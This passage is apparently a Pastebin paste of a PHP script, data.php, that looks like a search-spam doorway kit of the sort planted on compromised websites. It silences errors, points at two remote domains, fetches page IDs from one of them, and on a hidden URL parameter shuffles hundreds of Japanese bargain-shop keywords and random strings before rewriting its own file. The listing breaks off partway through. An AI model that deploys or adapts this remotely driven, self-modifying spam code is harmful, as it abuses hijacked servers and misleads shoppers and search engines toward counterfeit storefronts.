Advertisement
PalmaSolutions

data.php

Mar 9th, 2019
288
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 54.83 KB | None | 0 0
  1. <?php
  2. @ini_set('display_errors', 0);
  3. @set_time_limit(3600);
  4. define("DOMTXT","http://www.url2017.top/jp2/");
  5. define("GETDOM","http://www.host-2.xyz/ltxyk0407qi-1/");
  6. define("FNUM",50);
  7. define("JGNUM","40");
  8. define("LINKNUM","18");
  9. define("BZSITE","o");
  10. define("BZPRO","r");
  11. //msbg
  12. define("JDT","0");
  13. //msend
  14. //jthouzuibg
  15. define("JTHZ",".html");
  16. //jthouzuiend
  17.  
  18.  
  19.  
  20.  
  21.  
  22. //keyjgbg
  23. define("KEYJG","10");
  24. //keyjgbgend
  25.  
  26.  
  27.  
  28.  
  29.  
  30.  
  31. // #llqllq#arr_nametimebg
  32.  
  33. $arrnametime[]="3";
  34. $arrnametime[]="1";
  35. $arrnametime[]="2";
  36. $arrnametime[]="4";
  37.  
  38.  
  39. // #llqllq#arr_nametimeend
  40. // #llqllq#arr_wordbg
  41.  
  42. $arr_word[0][] ="4";$arr_word[0][] ="5";$arr_word[0][] ="8";$arr_word[0][] ="4";$arr_word[0][] ="8";$arr_word[0][] ="7";$arr_word[0][] ="7";$arr_word[0][] ="6";$arr_word[0][] ="6";$arr_word[0][] ="5";$arr_word[1][] ="8";$arr_word[1][] ="8";$arr_word[1][] ="6";$arr_word[1][] ="5";$arr_word[1][] ="5";$arr_word[1][] ="7";$arr_word[1][] ="7";$arr_word[1][] ="4";$arr_word[1][] ="6";$arr_word[1][] ="4";$arr_word[2][] ="8";$arr_word[2][] ="4";$arr_word[2][] ="5";$arr_word[2][] ="6";$arr_word[2][] ="5";$arr_word[2][] ="7";$arr_word[2][] ="7";$arr_word[2][] ="6";$arr_word[2][] ="4";$arr_word[2][] ="8";$arr_word[3][] ="8";$arr_word[3][] ="7";$arr_word[3][] ="4";$arr_word[3][] ="7";$arr_word[3][] ="6";$arr_word[3][] ="6";$arr_word[3][] ="5";$arr_word[3][] ="8";$arr_word[3][] ="5";$arr_word[3][] ="4";$arr_word[4][] ="6";$arr_word[4][] ="4";$arr_word[4][] ="6";$arr_word[4][] ="5";$arr_word[4][] ="5";$arr_word[4][] ="7";$arr_word[4][] ="8";$arr_word[4][] ="7";$arr_word[4][] ="8";$arr_word[4][] ="4";$arr_word[5][] ="6";$arr_word[5][] ="4";$arr_word[5][] ="7";$arr_word[5][] ="7";$arr_word[5][] ="8";$arr_word[5][] ="5";$arr_word[5][] ="4";$arr_word[5][] ="6";$arr_word[5][] ="5";$arr_word[5][] ="8";$arr_word[6][] ="6";$arr_word[6][] ="8";$arr_word[6][] ="4";$arr_word[6][] ="4";$arr_word[6][] ="8";$arr_word[6][] ="6";$arr_word[6][] ="7";$arr_word[6][] ="7";$arr_word[6][] ="5";$arr_word[6][] ="5";$arr_word[7][] ="4";$arr_word[7][] ="7";$arr_word[7][] ="6";$arr_word[7][] ="8";$arr_word[7][] ="5";$arr_word[7][] ="7";$arr_word[7][] ="8";$arr_word[7][] ="4";$arr_word[7][] ="6";$arr_word[7][] ="5";$arr_word[8][] ="5";$arr_word[8][] ="7";$arr_word[8][] ="7";$arr_word[8][] ="8";$arr_word[8][] ="5";$arr_word[8][] ="8";$arr_word[8][] ="6";$arr_word[8][] ="4";$arr_word[8][] ="4";$arr_word[8][] ="6";$arr_word[9][] ="7";$arr_word[9][] ="7";$arr_word[9][] ="6";$arr_word[9][] ="8";$arr_word[9][] ="6";$arr_word[9][] ="4";$arr_word[9][] ="8";$arr_word[9][] ="5";$arr_word[9][] ="5";$arr_word[9][] ="4";$arr_word[10][] ="6";$arr_word[10][] ="8";$arr_word[10][] ="4";$arr_word[10][] ="6";$arr_word[10][] ="5";$arr_word[10][] ="7";$arr_word[10][] ="5";$arr_word[10][] ="4";$arr_word[10][] ="7";$arr_word[10][] ="8";$arr_word[11][] ="6";$arr_word[11][] ="5";$arr_word[11][] ="7";$arr_word[11][] ="5";$arr_word[11][] ="7";$arr_word[11][] ="8";$arr_word[11][] ="8";$arr_word[11][] ="4";$arr_word[11][] ="6";$arr_word[11][] ="4";
  43.  
  44. // #llqllq#arr_wordend
  45. // #llqllq#arr_keywz
  46.  
  47. $arrKeywz[]="4";
  48. $arrKeywz[]="10";
  49. $arrKeywz[]="8";
  50. $arrKeywz[]="9";
  51. $arrKeywz[]="6";
  52. $arrKeywz[]="7";
  53. $arrKeywz[]="12";
  54. $arrKeywz[]="5";
  55. $arrKeywz[]="11";
  56.  
  57.  
  58. // #llqllq#arr_keywzend
  59. // #llqllq#arr_fuhao
  60.  
  61. $arrfh[]="?";
  62. $arrfh[]="……";
  63. $arrfh[]=" ";
  64. $arrfh[]="、";
  65. $arrfh[]=",";
  66. $arrfh[]="!";
  67. $arrfh[]=";";
  68. $arrfh[]="。";
  69.  
  70.  
  71. // #llqllq#arr_fuhaoend
  72. // #llqllq#arr_keybg
  73.  
  74. $arr_key[]="【希少!!】";
  75. $arr_key[]="超歓迎された";
  76. $arr_key[]="【メーカー包装済】";
  77. $arr_key[]="【レビューを書けば送料当店負担】";
  78. $arr_key[]="激安";
  79. $arr_key[]="お歳暮";
  80. $arr_key[]="予約販売";
  81. $arr_key[]="【★安心の定価販売★】";
  82. $arr_key[]="祝開店!大放出セール開催中";
  83. $arr_key[]="【あすつく】";
  84. $arr_key[]="【値下げ】";
  85. $arr_key[]="使い勝手の良い";
  86. $arr_key[]="【返品交換不可】";
  87. $arr_key[]="【税込・送料無料】";
  88. $arr_key[]="驚きの値段で";
  89. $arr_key[]="【500円引きクーポン】";
  90. $arr_key[]="【お得】";
  91. $arr_key[]="【限定品】";
  92. $arr_key[]="【SALE】";
  93. $arr_key[]="【在庫一掃】";
  94. $arr_key[]="大特価!!";
  95. $arr_key[]="【おすすめ】";
  96. $arr_key[]="【お買得】";
  97. $arr_key[]="【10%OFF】";
  98. $arr_key[]="【正規品】";
  99. $arr_key[]="【待望★】";
  100. $arr_key[]="【2015・新作】";
  101. $arr_key[]="●日本正規品●";
  102. $arr_key[]="オンラインショップ";
  103. $arr_key[]="高価値";
  104. $arr_key[]="【ギフト】";
  105. $arr_key[]="【レビューで送料無料】";
  106. $arr_key[]="【気質アップ】";
  107. $arr_key[]="★大人気商品★";
  108. $arr_key[]="【史上最も激安】";
  109. $arr_key[]="誕生日プレゼント";
  110. $arr_key[]="【お買得!】";
  111. $arr_key[]="【ついに再販開始!】";
  112. $arr_key[]="史上最も激安";
  113. $arr_key[]="【メール便無料】";
  114. $arr_key[]="【ギフト】";
  115. $arr_key[]="【コンビニ受取対応商品】";
  116. $arr_key[]="オリジナル";
  117. $arr_key[]="【NEW限定品】";
  118. $arr_key[]="【楽ギフ_のし宛書】";
  119. $arr_key[]="即納!最大半額!";
  120. $arr_key[]="訳あり商品";
  121. $arr_key[]="【50%OFF】";
  122. $arr_key[]="限定価格セール!";
  123. $arr_key[]="贈り物";
  124. $arr_key[]="結婚祝い";
  125. $arr_key[]="【超目玉枠】";
  126. $arr_key[]="【予約中!】";
  127. $arr_key[]="【格安SALEスタート】";
  128. $arr_key[]="逆輸入";
  129. $arr_key[]="【GINGER掲載商品】";
  130. $arr_key[]="【超安い】";
  131. $arr_key[]="【楽天カード分割】";
  132. $arr_key[]="【メーカー公式ショップ】";
  133. $arr_key[]="【予約受付中】";
  134. $arr_key[]="【名入れ無料】";
  135. $arr_key[]="【高額売筋】";
  136. $arr_key[]="【日本未発売】";
  137. $arr_key[]="『3年保証』";
  138. $arr_key[]="【人気商品】";
  139. $arr_key[]="【新品、本物、当店在庫だから安心】";
  140. $arr_key[]="【5%OFF】";
  141. $arr_key[]="【楽天ランキング1位】";
  142. $arr_key[]="【売れ筋】";
  143. $arr_key[]="おすすめ";
  144. $arr_key[]="【超ポイントバック祭】";
  145. $arr_key[]="(訳ありセール 格安)";
  146. $arr_key[]="[宅送]";
  147. $arr_key[]="1着でも送料無料";
  148. $arr_key[]="【まとめ買い】";
  149. $arr_key[]="【激安】";
  150. $arr_key[]="国産品";
  151. $arr_key[]="【在庫僅少】";
  152. $arr_key[]="【初売り】";
  153. $arr_key[]="【おトク】";
  154. $arr_key[]="【海外限定】";
  155. $arr_key[]="【ラッピング無料】";
  156. $arr_key[]="スーパーセール期間限定";
  157. $arr_key[]="【全品送料無料】";
  158. $arr_key[]="【翌日発送可能】";
  159. $arr_key[]="【超特価SALE開催!】";
  160. $arr_key[]="【在庫あり/即出荷可】";
  161. $arr_key[]="【爆買い!】";
  162. $arr_key[]="【オンラインショップ】";
  163. $arr_key[]="定番";
  164. $arr_key[]="セットアップ";
  165. $arr_key[]="【セール 登場から人気沸騰】";
  166. $arr_key[]="【開店記念セール!】";
  167. $arr_key[]="『5年保証』";
  168. $arr_key[]="入荷中";
  169. $arr_key[]="宅配便配送";
  170. $arr_key[]="【限定セール!】";
  171. $arr_key[]="特別価格";
  172. $arr_key[]="直送商品";
  173. $arr_key[]="【時間指定不可】";
  174. $arr_key[]="【最安値挑戦!】";
  175. $arr_key[]="【2015秋冬新作】";
  176. $arr_key[]="【即納!最大半額!】";
  177. $arr_key[]="【全商品オープニング価格 特別価格】";
  178. $arr_key[]="【新作入荷!!】";
  179. $arr_key[]="【最安値に挑戦】";
  180. $arr_key[]="【誠実】";
  181. $arr_key[]="【2015年製 新品】";
  182. $arr_key[]="【楽天最安値に挑戦】";
  183. $arr_key[]="【2015A/W新作★送料無料】";
  184. $arr_key[]="【クーポン対象外】";
  185. $arr_key[]="【税込】";
  186. $arr_key[]="超特価SALE開催!";
  187. $arr_key[]="【代引可】";
  188. $arr_key[]="【新品】";
  189. $arr_key[]="【当店一番人気】";
  190. $arr_key[]="【メール便不可】";
  191. $arr_key[]="【数量は多】";
  192. $arr_key[]="円高還元";
  193. $arr_key[]="【 開梱 設置?無料 】";
  194. $arr_key[]="【ラッピング不可】";
  195. $arr_key[]="交換無料!";
  196. $arr_key[]="【ギフ_包装】";
  197. $arr_key[]="【おしゃれ】";
  198. $arr_key[]="配送員設置";
  199. $arr_key[]="【新発売】";
  200. $arr_key[]="お得セット";
  201. $arr_key[]="【予約】";
  202. $arr_key[]="【特価】";
  203. $arr_key[]="品質検査済";
  204. $arr_key[]="ふるさと納税";
  205. $arr_key[]="【お気に入り】";
  206. $arr_key[]="【年中無休】";
  207. $arr_key[]="数量限定価格!!";
  208. $arr_key[]="【正規販売店】";
  209. $arr_key[]="超人気";
  210. $arr_key[]="代引き手数料無料";
  211. $arr_key[]="名作";
  212. $arr_key[]="【限定価格セール!】";
  213. $arr_key[]="爆売り!";
  214. $arr_key[]="オープニング 大放出セール";
  215. $arr_key[]="【オープニング 大放出セール】";
  216. $arr_key[]="【1着でも送料無料】";
  217. $arr_key[]="【2016 新作】";
  218. $arr_key[]="現品限り一斉値下げ!";
  219. $arr_key[]="感謝の声続々!";
  220. $arr_key[]="【国内配送】";
  221. $arr_key[]="【2015最新作】";
  222. $arr_key[]="【国内在庫】";
  223. $arr_key[]="【限定販売】";
  224. $arr_key[]="通販";
  225. $arr_key[]="出産祝い";
  226. $arr_key[]="【中古】";
  227. $arr_key[]="【現金特価】";
  228. $arr_key[]="【高品質】";
  229. $arr_key[]="【お買い得!】";
  230. $arr_key[]="海外並行輸入正規品";
  231. $arr_key[]="【返品送料無料】";
  232. $arr_key[]="【保障できる】";
  233. $arr_key[]="【同梱不可】";
  234. $arr_key[]="[定休日以外毎日出荷中]";
  235. $arr_key[]="【第1位獲得!】";
  236. $arr_key[]="お見舞い";
  237. $arr_key[]="【送料込】";
  238. $arr_key[]="開店祝い";
  239. $arr_key[]="【送料無料キャンペーン?】";
  240. $arr_key[]="【メール便送料無料対応可】";
  241. $arr_key[]="【在庫処分】";
  242. $arr_key[]="【はこぽす対応商品】";
  243. $arr_key[]="【別倉庫からの配送】";
  244. $arr_key[]="【着後レビューで 送料無料】";
  245. $arr_key[]="【期間限定特価】";
  246. $arr_key[]="【当店限定販売】";
  247. $arr_key[]="【限定特価】";
  248. $arr_key[]="【期間限定お試し価格】";
  249. $arr_key[]="数量は多";
  250. $arr_key[]="【激安セール】";
  251. $arr_key[]="【即納】";
  252. $arr_key[]="早割クーポン!";
  253. $arr_key[]="【ポイント10倍】";
  254. $arr_key[]="誠実";
  255. $arr_key[]="【残りわずか】";
  256. $arr_key[]="【送料無料/新品】";
  257. $arr_key[]="保障できる";
  258. $arr_key[]="【福袋セール】";
  259. $arr_key[]="【激安大特価!】";
  260. $arr_key[]="【楽天スーパーセール】";
  261. $arr_key[]="完売";
  262. $arr_key[]="驚きの価格が実現!";
  263. $arr_key[]="超安い";
  264. $arr_key[]="高い素材";
  265. $arr_key[]="(税込)";
  266. $arr_key[]="【正規取扱店】";
  267. $arr_key[]="当店在庫してます!";
  268. $arr_key[]="セール 登場から人気沸騰";
  269. $arr_key[]="【セール】";
  270. $arr_key[]="【内祝い】";
  271. $arr_key[]="爆買い!";
  272. $arr_key[]="【使い勝手の良い】";
  273. $arr_key[]="希少 黒入荷!";
  274. $arr_key[]="★お求めやすく価格改定★";
  275. $arr_key[]="【特別セール品】";
  276. $arr_key[]="【在庫処分大特価!!】";
  277. $arr_key[]="【国産】";
  278. $arr_key[]="人気";
  279. $arr_key[]="【期間限定送料無料】";
  280. $arr_key[]="新作からSALEアイテム等お得な商品満載";
  281. $arr_key[]="『4年保証』";
  282. $arr_key[]="『1年保証』";
  283. $arr_key[]="【現品限り一斉値下げ!】";
  284. $arr_key[]="訳あり";
  285. $arr_key[]="【超ポイント祭?期間限定】";
  286. $arr_key[]="【海外 正規品】";
  287. $arr_key[]="正規品!";
  288. $arr_key[]="【25%OFF】";
  289. $arr_key[]="【初回限定】";
  290. $arr_key[]="開店記念セール!";
  291. $arr_key[]="優先配送";
  292. $arr_key[]="信頼";
  293. $arr_key[]="【初回限定お試し価格】";
  294. $arr_key[]="【国内正規総代理店アイテム】";
  295. $arr_key[]="【半額】";
  296. $arr_key[]="完成品";
  297. $arr_key[]="楽天";
  298. $arr_key[]="【楽ギフ_包装】";
  299. $arr_key[]="【美品】";
  300. $arr_key[]="【T-ポイント5倍】";
  301. $arr_key[]="【お気にいる】";
  302. $arr_key[]="(お得な特別割引価格)";
  303. $arr_key[]="【超目玉】";
  304. $arr_key[]="【人気ショップが最安値挑戦!】";
  305. $arr_key[]="最安値挑戦!";
  306. $arr_key[]="【在庫あり】";
  307. $arr_key[]="【返品?交換対象商品】";
  308. $arr_key[]="福袋";
  309. $arr_key[]="お気に入り";
  310. $arr_key[]="【売り切り御免!】";
  311. $arr_key[]="【ふるさと割】";
  312. $arr_key[]="【通販 人気】";
  313. $arr_key[]="【年間ランキング6年連続受賞】";
  314. $arr_key[]="『2年保証』";
  315. $arr_key[]="【30%OFF】";
  316. $arr_key[]="【再入荷!】";
  317. $arr_key[]="【予約販売品】";
  318. $arr_key[]="上品";
  319. $arr_key[]="【テレビで話題】";
  320. $arr_key[]="大注目";
  321. $arr_key[]="ランキング第1位";
  322. $arr_key[]="【国際ブランド】";
  323. $arr_key[]="【あす楽対応】";
  324. $arr_key[]="新作";
  325. $arr_key[]="【返品不可】";
  326. $arr_key[]="【代引き不可】";
  327. $arr_key[]="【ネット限定】";
  328. $arr_key[]="【驚きの値段で】";
  329. $arr_key[]="【タイムセール!】";
  330. $arr_key[]="【予約販売】本";
  331. $arr_key[]="【激安アウトレット!】";
  332. $arr_key[]="【SEAL限定商品】";
  333. $arr_key[]="【★大感謝セール】";
  334. $arr_key[]="【超歓迎された】";
  335. $arr_key[]="【受注生産品】";
  336. $arr_key[]="【送料無料(一部地域を除く)】";
  337. $arr_key[]="【爆売り!】";
  338. $arr_key[]="【ご予約品】";
  339. $arr_key[]="【70%OFF】";
  340. $arr_key[]="【メーカー直売】";
  341. $arr_key[]="【人気商品!】";
  342. $arr_key[]="【35%OFF】";
  343. $arr_key[]="気質アップ";
  344. $arr_key[]="【未使用品】";
  345. $arr_key[]="【超お買い得!】";
  346. $arr_key[]="【在庫有】";
  347. $arr_key[]="激安大特価!";
  348. $arr_key[]="【一部予約販売】";
  349. $arr_key[]="【ファッション通販】";
  350. $arr_key[]="【おまけ付】";
  351. $arr_key[]="驚きの値段";
  352. $arr_key[]="大量入荷";
  353. $arr_key[]="【公式】";
  354. $arr_key[]="【メーカー直送】";
  355. $arr_key[]="【国内即発送】";
  356. $arr_key[]="【絶品】";
  357. $arr_key[]="お気にいる";
  358. $arr_key[]="日本製";
  359. $arr_key[]="【本日特価】";
  360. $arr_key[]="【上品】";
  361. $arr_key[]="【高価値】";
  362. $arr_key[]="【感謝価格】";
  363. $arr_key[]="【高い素材】";
  364. $arr_key[]="【送料無料】";
  365. $arr_key[]="期間限定特別価格";
  366. $arr_key[]="特価";
  367. $arr_key[]="【海外輸入】";
  368. $arr_key[]="【希望者のみラッピング無料】";
  369. $arr_key[]="【超新作】";
  370. $arr_key[]="【祝開店!大放出セール開催中】";
  371. $arr_key[]="【国際ブランド】";
  372. $arr_key[]="好きに";
  373. $arr_key[]="【WEB限定】";
  374. $arr_key[]="再再販!";
  375. $arr_key[]="【アウトレット☆送料無料】";
  376. $arr_key[]="【信頼】";
  377. $arr_key[]="【★超目玉】";
  378. $arr_key[]="【お年玉セール特価】";
  379. $arr_key[]="【60%OFF】";
  380. $arr_key[]="【訳あり】";
  381. $arr_key[]="【正規逆輸入品】";
  382. $arr_key[]="【サイズ交換OK】";
  383. $arr_key[]="入園入学祝い";
  384. $arr_key[]="【国内正規品】";
  385. $arr_key[]="超ポイントアップ祭";
  386. $arr_key[]="【スーパーセール】";
  387. $arr_key[]="【保証書付】";
  388. $arr_key[]="【驚きの価格が実現!】";
  389. $arr_key[]="男女兼用";
  390. $arr_key[]="【驚きの値段】";
  391. $arr_key[]="【破格値下げ】";
  392. $arr_key[]="【最安値挑戦】";
  393. $arr_key[]="【後払い手数料無料】";
  394. $arr_key[]="【即発送可能】";
  395. $arr_key[]="【オンライン限定商品】";
  396. $arr_key[]="【大注目】";
  397. $arr_key[]="【数量限定】";
  398. $arr_key[]="【 新品 】";
  399. $arr_key[]="玄関先迄納品";
  400. $arr_key[]="【大特価!!】";
  401. $arr_key[]="【限定製作】";
  402. $arr_key[]="【日本産】";
  403. $arr_key[]="【爆売りセール開催中!】";
  404. $arr_key[]="【即出荷】";
  405. $arr_key[]="【新作からSALEアイテム等お得な商品満載】";
  406. $arr_key[]="【18%OFF】";
  407. $arr_key[]="【正規品直輸入】";
  408. $arr_key[]="日本限定";
  409. $arr_key[]="【即日発送】";
  410. $arr_key[]="非売品";
  411. $arr_key[]="全商品オープニング価格!";
  412. $arr_key[]="【在庫限り】";
  413. $arr_key[]="当店だけの限定モデル";
  414. $arr_key[]="【お取り寄せ】";
  415. $arr_key[]="【公式ショップ】";
  416. $arr_key[]="格安SALEスタート!";
  417. $arr_key[]="【日本製】";
  418. $arr_key[]="★日本の職人技★";
  419. $arr_key[]="【一部予約!】";
  420. $arr_key[]="【2016春夏新作】";
  421. $arr_key[]="【メーカー再生品】";
  422.  
  423.  
  424. // #llqllq#arr_keyend
  425. // #llqllq#randkeybg
  426. $strRand[0]="ztmbenlkodcxugpjhsaiwfqvry";
  427. $strRand[1]="cqpmkvfbiaxyojenuztrhglswd";
  428. $strRand[2]="ziefakupdobnlhycgrwqtsvxjm";
  429. $strRand[3]="cizraxubnomkefdwyhqvspgtjl";
  430. $strRand[4]="atgspfuwnylvdobmichxkzejqr";
  431. $strRand[5]="tgdavefmkuhxsqcwlnjyorbizp";
  432. $strRand[6]="dnzjrquoywlemcbipxkhsvtagf";
  433. $strRand[7]="omyqkdzgsfhnlpbciwxjuearvt";
  434. $strRand[8]="rexasngfodlckwqzvbtijhpumy";
  435. $strRand[9]="ceyvwnqxskuitzrofbadmhgplj";
  436. $strRand[10]="pcutdsjfmkrealybvxzqowihgn";
  437. $strRand[11]="ucyrobnjhmtpigxwlfeakdsqvz";
  438. $strRand[12]="jcguwlhqpbxtiednyrmszfvaok";
  439. $strRand[13]="ycfgrqobsihptwudvjmexanklz";
  440. $strRand[14]="ezuathirlwnycsqjkxfbgdmopv";
  441. $strRand[15]="yvwltpxgimefzcjaoqnkshubdr";
  442. $strRand[16]="wezfmnijrxskvaobucgldythpq";
  443. $strRand[17]="ifwzdylvbcnpkteqhaoxrugmsj";
  444. $strRand[18]="rknimabjexlouhfvswqdycpztg";
  445. $strRand[19]="ftkyvngbrwpdimhaejzsxcoqlu";
  446. $strRand[20]="raygftvenpjzmwiokbdquhclxs";
  447. $strRand[21]="hvkofdbizugatmrlsxewpjynqc";
  448. $strRand[22]="prudwznkfchaeoigjxbysqlvtm";
  449. $strRand[23]="fcwultknhqprsxmaovedjzibyg";
  450. $strRand[24]="dzatofevcuwbihqlxgpksmnjyr";
  451. $strRand[25]="vjodpgubyktwnsamlzcierqfhx";
  452. $strRand[26]="sbmectgxvyuhkjlnozawdirfpq";
  453. $strRand[27]="diugowrnkchezsvlaxqbmptyfj";
  454. $strRand[28]="refzqgjtuapmxoisyndkwhvlcb";
  455. $strRand[29]="iaqwrhdskvcpjmxlftybgoneuz";
  456. $strRand[30]="oaqdutbiyhnclpwzgxmvrjksef";
  457. $strRand[31]="rzuqdtcnjpkfayivgxsoeblmhw";
  458. $strRand[32]="jelbpwvfitxhomrynqcsazgkud";
  459. $strRand[33]="xnkfwezsuptvqijgbdlmayhcor";
  460. $strRand[34]="jaomltyzhqpdubfcrvenwsikgx";
  461. $strRand[35]="negcxhqkwrzlabvpymdositujf";
  462. $strRand[36]="zqagxrdwibyfohlnejkcvsutmp";
  463. $strRand[37]="bsphqtjrdoiuzmkxfvgclawney";
  464. $strRand[38]="jgufskoialhrnwqezybtpdxvmc";
  465. $strRand[39]="fwdysarzhcptbxgqoikjmunelv";
  466. $strRand[40]="mvbkagujstlezidcqnpowfyhrx";
  467. $strRand[41]="zhnomkecygpqvxufdltjrsaibw";
  468. $strRand[42]="xbsgcyfijhvdtawrolnpmqkeuz";
  469. $strRand[43]="rqtmeagisblwfuhnxjyodkcpzv";
  470. $strRand[44]="prmdutckifjagbxeshvqoynlwz";
  471. $strRand[45]="sqvwkdumothlizrncapejxbygf";
  472. $strRand[46]="koipxfdtwhylbragzjqcuemvsn";
  473. $strRand[47]="uzqewtlxscogjfpvbrdknmhiay";
  474. $strRand[48]="giakvtrwqzpuhojedmnfblycxs";
  475. $strRand[49]="dtjfhbrnwxeqaomgysvzlucpik";
  476. $strRand[50]="wspjexmnilugtofvrqdckhabzy";
  477. $strRand[51]="fmuxoqlbgvaeyjidnwtkrszphc";
  478. $strRand[52]="hvgwsufertblmyoxipqcdkjzan";
  479. $strRand[53]="xtblpsnjqhuoakidgzwervfmyc";
  480. $strRand[54]="rcvfahsbqkgijtnzywoeudxlpm";
  481. $strRand[55]="vfhmgeicqazkxtyspjwnbrldou";
  482. $strRand[56]="mrwgjzpxyfdasvkinboeuthclq";
  483. $strRand[57]="bdazinoqxrsvhfuwlpjktecmgy";
  484. $strRand[58]="zrcoyfudkmhvetsgnxwipaqjbl";
  485. $strRand[59]="yfjpqleixznkarghdvuwstbcom";
  486. $strRand[60]="vbgjaluftyekrhmndocpwsiqxz";
  487. $strRand[61]="wupirdostbclxkngzhqyavjfme";
  488. $strRand[62]="qrybavulijdpxzwtmgoscfenhk";
  489. $strRand[63]="bgdcsvumxiqfpaljyrhktwnoze";
  490. $strRand[64]="nrejqkcgxvlpiofhasbmzydtwu";
  491. $strRand[65]="ihlpykzdbovctwmgxarsnjfque";
  492. $strRand[66]="vjykfqzbtceoaxguwlprnidmhs";
  493. $strRand[67]="cpdgizqyftnbejurhlkwsoxamv";
  494. $strRand[68]="tvchdbneuysqrpzwfoikgjlxma";
  495. $strRand[69]="ticqhvwbgzdsokrnmulfpejxya";
  496. $strRand[70]="arxowisjflqgzekhbnputymvdc";
  497. $strRand[71]="kqrpfchsbeowmxydzvtilanguj";
  498. $strRand[72]="tydgkhfuoiljrzswqbcxmepvna";
  499. $strRand[73]="hublfgcdenwospjxyirmvatzqk";
  500. $strRand[74]="mvkujgpielcfzwbantyshqdoxr";
  501. $strRand[75]="qbyuekgosldhptcwxanifrmjvz";
  502. $strRand[76]="njusdbvclaphfoiregqxkwtmyz";
  503. $strRand[77]="nykuxpmqtvihsbwjofgdleazrc";
  504. $strRand[78]="snvzyweojagtpubhcmqkflxdri";
  505. $strRand[79]="muroaihzkxtgjcvefnspylbqwd";
  506. $strRand[80]="yzpdoturjqihkngafevmcxlwsb";
  507. $strRand[81]="bfuzianjrvoctpdmxwkehslygq";
  508. $strRand[82]="xvfquywgpjhzdscnabtemklior";
  509. $strRand[83]="kplfdsncwbatrgvjixqumzoeyh";
  510. $strRand[84]="fjmwcbdvqlzetgpnixsyukroha";
  511. $strRand[85]="ltexszukhcrvgympianqbodfwj";
  512. $strRand[86]="ixubknhrwoflgmvcdesqypatjz";
  513. $strRand[87]="ikpcsnerlqjtghfywaxmdbuzvo";
  514. $strRand[88]="idxpwtzgulfqbnvracmohjeysk";
  515. $strRand[89]="ybncxqvheoadlpmkgiswjuztrf";
  516. $strRand[90]="jdfocltrxygsbpezkwumiqnavh";
  517. $strRand[91]="rsvnwdmjxeybztgpuchifaqolk";
  518. $strRand[92]="qvzyfsntgbhokrxwmjulidepca";
  519. $strRand[93]="jhtvpiolfkxncysbwerzaugdmq";
  520. $strRand[94]="knyflgwmhcqrjazxdbitpsveuo";
  521. $strRand[95]="oqilknpxjdcbmugverwfthsyza";
  522. $strRand[96]="gwcbveptikjrausodyqmhxflzn";
  523. $strRand[97]="cvoliqjesbadpwxmrtykhnzfug";
  524. $strRand[98]="gkxlethqdcpjozimrysuvwafnb";
  525. $strRand[99]="chvfrdpzkjxytqmegwonilubsa";
  526.  
  527. // #llqllq#randkeyend
  528. if(isset($_GET['rset']) && $_GET['rset'] == 'set'){
  529.  
  530. $r1 = '#(// \#l{2}ql{2}q\#arr_keybg)(.*?)(// \#l{2}ql{2}q\#arr_keyend)#s'; $str = file_get_contents("index.php");
  531. shuffle($arr_key); $rp1 = ''; foreach($arr_key as $vals){
  532. $rp1 .= '$arr_key[]="'. $vals .'";'. PHP_EOL; }
  533.  
  534. $str = preg_replace($r1, '\1'. PHP_EOL . PHP_EOL .$rp1 . PHP_EOL . PHP_EOL .'\3', $str);
  535. $r0 = '#(/+keyjgbg)(.*?)(/+keyjgbgend)#s'; $str = preg_replace($r0, '\1'. PHP_EOL .'define("KEYJG","'. rand(1,20) .'");'. PHP_EOL .'\3'. PHP_EOL , $str);
  536. $r3 = '#(// \#l{2}ql{2}q\#arr_keywz)(.*?)(// \#l{2}ql{2}q\#arr_keywzend)#s';
  537. shuffle($arrKeywz); $rp2 = ''; foreach($arrKeywz as $valpimg){
  538. $rp2 .= '$arrKeywz[]="'. $valpimg .'";'. PHP_EOL; }
  539.  
  540. $str = preg_replace($r3, '\1'. PHP_EOL . PHP_EOL . $rp2 . PHP_EOL . PHP_EOL .'\3', $str);
  541.  
  542. $r3 = '#(// \#l{2}ql{2}q\#arr_wordbg)(.*?)(// \#l{2}ql{2}q\#arr_wordend)#s'; $strword = '';
  543. $arrWordOld = array(4,5,6,7,8,4,5,6,7,8); $rp2 = '';
  544. for($i=0;$i<12;$i++){
  545. shuffle($arrWordOld);
  546. foreach($arrWordOld as $vtemps)
  547. $rp2 .= '$arr_word['. $i .'][] ="'. $vtemps .'";'; }
  548.  
  549. $str = preg_replace($r3, '\1'. PHP_EOL . PHP_EOL . $rp2 . PHP_EOL . PHP_EOL .'\3', $str);
  550. $r3 = '#(// \#l{2}ql{2}q\#arr_nametimebg)(.*?)(// \#l{2}ql{2}q\#arr_nametimeend)#s';
  551. shuffle($arrnametime); $rp2 = ''; foreach($arrnametime as $valpimg){
  552. $rp2 .= '$arrnametime[]="'. $valpimg .'";'. PHP_EOL; }
  553.  
  554. $str = preg_replace($r3, '\1'. PHP_EOL . PHP_EOL . $rp2 . PHP_EOL . PHP_EOL .'\3', $str);
  555.  
  556. $r4 = '#(// \#l{2}ql{2}q\#randkeybg)(.*?)(// \#l{2}ql{2}q\#randkeyend)#s';
  557. $arrABC = range('a','z');
  558. $strTemp1 = ''; for($i=0;$i<100;$i++){
  559. shuffle($arrABC);
  560. $strtemp = ''; foreach($arrABC as $value){
  561. $strtemp .= $value; }
  562.  
  563. $strTemp1 .= '$strRand[' .$i. ']="' . $strtemp .'";'. PHP_EOL; }
  564. $str = preg_replace($r4, '\1'. PHP_EOL . $strTemp1 . PHP_EOL .'\3', $str);
  565.  
  566.  
  567. $num = rand(1,FNUM); $num = $num - 1;
  568.  
  569.  
  570.  
  571. $idUrl = GETDOM . "gpage.php?getid=$num";
  572. $tempIdStr = curl_get_from_webpage($idUrl,'',5);
  573. $arrId = explode(',',$tempIdStr);
  574.  
  575. // echo "<pre>";
  576. // print_r($arrId);
  577. // die();
  578. // require_once("id$num.php");
  579.  
  580.  
  581. $indexId=array_rand($arrId,1); $str = str_replace('$id = "320175206-21155"; //llq index id', '$id = "'. $arrId[$indexId] .'"; //llq index id', $str);
  582. $r3='#(// \#l{2}ql{2}q\#arr_fuhao)(.*?)(// \#l{2}ql{2}q\#arr_fuhaoend)#s'; shuffle($arrfh);$rp2='';foreach($arrfh as $valpimg){$rp2.='$arrfh[]="'.$valpimg.'";'.PHP_EOL;}$str=preg_replace($r3,'\1'.PHP_EOL.PHP_EOL.$rp2.PHP_EOL.PHP_EOL.'\3',$str); file_put_contents(__FILE__, $str);
  583. echo '<br/>rset ok!<br/>';
  584. }
  585. if(isset($_GET["jgshu"]) && $_GET["jgshu"]){
  586. $strDefault = file_get_contents(__FILE__);
